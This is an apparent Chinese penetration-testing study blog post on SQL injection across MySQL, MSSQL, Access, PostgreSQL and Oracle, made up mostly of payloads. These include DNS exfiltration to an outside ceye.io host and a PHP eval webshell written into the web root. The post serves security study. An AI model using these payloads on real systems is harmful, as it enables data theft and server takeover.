avatar

web渗透学习笔记[二]--sql注入基础

sql注入漏洞

SQL injection攻击包括插入或“注入”的SQL查询,通过输入数据从客户端的应用程序。一个成功的SQL注入攻击可以从数据库中阅读敏感数据,修改数据库数据(插入/更新/删除) ,执行管理处业务的数据库(如关闭数据库管理系统) ,收回的内容,一个给定的文件现有的数据库管理系统文件系统,在某些情况下,发出命令的作业系统。 SQL注入攻击是一种injection attack, SQL命令注入数据平面的投入,以影响执行预定义的SQL命令。

sql注入基本原理

注入产生的原因:

  1. 服务器没有对用户输入的信息进行严格的过滤
  2. 查询语句与用户输入的内容进行拼接
1
2
3
4
5
select * from users where id='$id';
select * from users where id='' or 1=1 #';
注释字符:
#
--+

select * from users where id='' or 1=1 #';的时候会输出所有的信息。

sql注入分类介绍

字符型注入

数字型注入


联合注入

报错注入

盲注

时间盲注

布尔盲注

mysql数据库重点数据表

information_schema

  • schemata 所有数据库名
    • schema_name
  • tables 所有表名
    • table_schema 表所在库名
    • table_name 表名
  • columns
    • table_schema 所在库名
    • table_name 所在表名
    • column_name 字段名

mysql数据库联合注入手动

select * from users where id='' order by 3--+'

如果order by 数字 数字的值大于字段数,则会报错:

例如4:

Unknown column '4' in 'order clause'

之后可以使用union select查询

select * from users where id='' union select 1,2,3--+'

sql注入盲注

有些时候没有回显,但是有报错信息,可以尝试盲注

布尔盲注

1
2
3
4
5
length()
substr()
ascii()
sleep()
if(1,1,1)

select * from users where id='1' and LENGTH(DATABASE())=8;只有当位数正确的时候才会显示正常。或者使用<和>

如果没有正常或者不正常的显示,尝试报错和时间注入。

报错

常用3种

常用的特殊字符:’ \ ; %00 ) ( # "

1
2
3
floor()
updatexml()
extractvalue()

1 and extractvalue(1,concat(user(),0x7e,version()))--+

1 and updatexml(1,concat(user(),0x7e,version()),1)--+

1 and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)--+

记录必须要在3条以上

如果去掉rand(0)当中的随机因子0,返回的结果是随机报错。

加入随机因子之后,每次执行select floor(rand(0)*2) from users的结果中,的0和1位置都相同,就有了确定性—-011011

select count(*) from users group by floor(rand(0)*2);

  1. 查询之前会建立一个空的虚拟表
key count(*)
  1. 取得第一条记录,执行floor(rand(0)*2)发现结果是0(第一次),查询虚拟表,发现0并不存在,floor(rand(0)*2)会被再次计算,结果为1(因为011011–),之后会将1插入虚拟表中
key count(*)
1 1
  1. 查询第二条记录,计算floor(rand(0)*2)结果为1,查询虚拟表,发现1的键值存在,所以floor(rand(0)*2)不会再次计算,count(*)+1
key count(*)
1 2
  1. 查询第三条记录,计算floor(rand(0)*2)结果为0,键值没有0,尝试插入新数据,插入数据的时候floor(rand(0)*2)再次计算,值为1,但是1的主键已经存在,插入的时候会报错
  2. floor(rand(0)*2)在此过程中执行了5次,查询原数据表3次,所以这就是为什么数据表中需要3条及以上的数据,该

时间

sleep()

sql注入宽字节

magic_quotes_qpc参数设置为ON的时候,所有的'"\和null都会在前面加上一个\还有很多的函数例如:addslashes(),mysql_escape_string(),mysql_real_escape_string()

\的十六进制是%5c前面加上%df会组成一个汉字(GBK)

sql注入堆叠注入

局限性很大

影响函数mysqli_multi_query()

原理:;用来表示一条sql语句的结束,当使用上面的函数时,例如select * from user where id="1";select database(),1;这样会显示出数据库名称。

新建表select * from user where id="1";create table test like user;

select * from users where id='1';insert into users(id,username.password) value(999,'a','b')--+

二次编码注入

影响函数urldecode()

服务器在处理输入数据后进行了urldecode()

waf对输入的字符进行了转义,比如

输入id=1%27识别为id=1'转义之后为id=1\'不能进行注入

如果php中使用了urldecode()放在了错误的位置

可能会发生以下情况:

输入id=1%2527识别为id=1%27此处的%25经过了urldecode()变成了%那么后面的就变为id=1'

方法:

黑盒:找注入点,加上%2527

白盒:查找是否使用了urldecode(),并且放置的位置是否在转义方法之后

sql头部注入

HTTP头注入

  1. Cookie
  2. User-Agent
  3. Referer头
  4. X-Forwarded-For
  5. Client-IP
  6. Host

伪静态注入

分析是否是伪静态

控制台:document.lastModified
按上下箭头 看时间是否改变 如果改变就是伪静态

http://www.aaa.com/1'.html

DNS快速注入

平台:http://ceye.io

SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,0)

当使用

select load_file('\\\\aabba.7n9115.ceye.io\\aaa');

平台上就会出现信息,而aabba就是需要查询的语句

select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))

sql注入waf绕过

单独一章学习

mysql+php对服务器文件进行读写操作

前提:

  • 知道远程目录
  • 有相应权限
  • 数据开启secure_file_priv

读取load_file('路径')

写入select '<?php @eval($_GET[777])?>' into outfile '路径'

select '<?php phpinfo();?>' into outfile 'D:/huangjing/phpstudy_pro/WWW/1.txt';

1' union select 1,0x3c3f706870406576616c28245f4745545b3737375d293b3f3e into outfile 'D:/huangjing/phpstudy_pro/WWW/15.txt'--+

资源下载地址

access数据库注入

手工注入语句

  1. ',and 1=1,and 1=2查看变化
  2. and exists(select * from admin)猜表名,返回正确表示存在
  3. and exists(select username from admin)同上
  4. and (select top 1 len(username) from admin)=1猜字段
  5. and (select top 1 asc(mid(username,1,1))from admin)=97

mssql数据库注入

sqlserver

mssql系统自带库—master

自带表—sysobjects

表内name表名,xtype表类型,id字段用来链接syscoumns表

SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2105058535;

1
2
3
4
5
6
MSSQL中常用参数
@@version,查询当前数据库版本
db_name(),查询当前数据库名称
user,查询当前用户
IS_SRVROLEMEMBER(),查询数据库权限。
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin

原理与mysql一致

union select null,null,null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
and exists (select * from sysobjects); ##判断是否有sysobjects表,是否为mssql数据库
and 1=(select @@VERSION) ##会报错,如有有显示,可能可以查看到版本信息
and (select @@version)>0
and 1=(select is_srvrolemember('sysadmin')) ##判断当前是否为sa
and exists(select is_srvrolemember('sysadmin'))
and (select is_srvrolemember('sysadmin'))>0
and 1=(select is_srvrolemember('db_owner')) ##判断当前用户写文件、读文件的权限(db_owner)
and (select is_srvrolemember('db_owner'))>0
and 1=(select is_srvrolemember('public')) ##判断是否有public权限,可以爆破表
and (select is_srvrolemember('public'))>0

查看库名
and 1=(select DB_NAME()) ##获取当前库名,前提是有报错信息显示
and (select db_name())>0
and (convert(int,db_name()))>0

and (convert(int,db_name(N)))>0 ##修改n的值可以爆所有库的名称
and 1=(select name from master.dbo.sysdatabases where dbid=N)


and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','first'))>0
##爆出库名

当前用户
and (user)>0

查看当前数据库的表
and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');
and (select top 1 name from 当前数据库名.sys.all_objects where type='U' AND is_ms_shipped=0)>0
and (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)=0


列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users') and name<>'id')
数据
and 1=(select top 1 username from users)
and 1=(select top 1 username from users where id=2)


爆字段
group by id,username,password having 1=1

PostgreSQL数据库注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
parameter = 2-1
parameter = 1 and 1 = 2
parameter = 1 or 1 = 2-1
parameter = 1' and '1'='1#and -> or
parameter = 1' and '1'='2#and -> or


parameter=1;select pg_sleep(5)
parameter=1';select pg_sleep(5)
parameter=1');select pg_sleep(5)
parameter=1);select pg_sleep(5)
parameter=1));select pg_sleep(5)
parameter=select pg_sleep(5)

逐位猜解
1 SELECT CASE WHEN (COALESCE(ASCII(SUBSTR(({current_user}),1,1)),0) > 100) THEN pg_sleep(14) ELSE pg_sleep(0) END LIMIT 1

基本信息
SELECT version() #查看版本信息
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;#这里是usename不是username
SELECT getpgusername();
#查看当前数据库
SELECT current_database()

if
select case when(expr1) then result1 else result2 end;
select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

读取文件
select pg_read_file(filepath+filename);
执行命令
1 select system("comamnd_string");
写入文件
1 COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

oracle数据库注入

来自:https://www.jianshu.com/p/abf16e370d4a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
and 1=2 union select null,null,null from dual--
and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是数字型,返回错误,为字符型
and 1=2 union select 1,'2','3' from dual-- //判断显示位

and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息

and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二个表名

and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1),null from dual-- //查看第一个字段名

and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个表名]'),null from dual-- //查看第二个字段名

and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一个表名]' and column_name<>'[第二个表名]'),null from dual--
and 1=2 union select id,name,pass from student where id=1-- //查看数据

盲注

1、DNSlog(此方法需要 Oracle 数据库用户拥有网络访问权限 手动添加权限参考 http://blog.itpub.net/26736162/viewspace-2072163/ )

union SELECT null,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||’.5nj58o.ceye.io’),null FROM DUAL– //UTL_HTTP.REQUEST型

union SELECT null,UTL_INADDR.GET_HOST_ADDRESS((select table_name from user_tables where rownum=1)||’.5nj58o.ceye.io’),null FROM DUAL– //UTL_INADDR.GET_HOST_ADDRESS型

2、布尔盲注

and (select count(table_name) from user_tables)>1– //获取表的个数

and (select length(table_name) from user_tables where rownum=1)>1– //获取第一个表的表名长度

and ascii(substr((select table_name from user_tables where rownum=1),1,1))>80– //获取第一个表的第一个字符的Ascii码的值

3、时间盲注(慎用,会很卡)

and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),’S’,(select count(*) from all_objects),1) from dual)– //判断第一个表名的第一个字符

报错注入(获取数据库版本信息)

and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and(selectdbms_xdb_version.uncheckout((selectbannerfromsys.v_$versionwhere rownum=1)) from dual) is not null–

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and (select dbms_streams.get_information((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and (select dbms_xmlschema.generateschema((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and (select dbms_xmltranslations.extractxliff((select banner from sys.v_$version where rownum=1)) from dual) is not null–

and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$versionwhere rownum=1),user,user)–

and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1))–

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))–

and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null–

sql注入防御

https://blog.csdn.net/myron_sqh/article/details/12975563

sqlmap

单独一章学习

参考文章:

渗透攻防Web篇-SQL注入攻击初级https://paper.seebug.org/15/

如何防止SQL注入https://blog.csdn.net/myron_sqh/article/details/12975563

Web安全之SQL注入攻击技巧与防范https://www.cnblogs.com/csniper/p/5802202.html

(转-收集)MSSQL手工注入语句集合https://blog.csdn.net/weixin_41678306/article/details/79439741

Oracle注入大全https://www.jianshu.com/p/abf16e370d4a

【SQL注入】之MSSQL注入https://www.cnblogs.com/yankaohaitaiwei/p/11809398.html

(转-收集)MSSQL手工注入语句集合https://blog.csdn.net/weixin_41678306/article/details/79439741

文章作者: jia9yo
文章链接: http://wlaqstcs.com/447/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 jia9yo-网络安全渗透测试

评论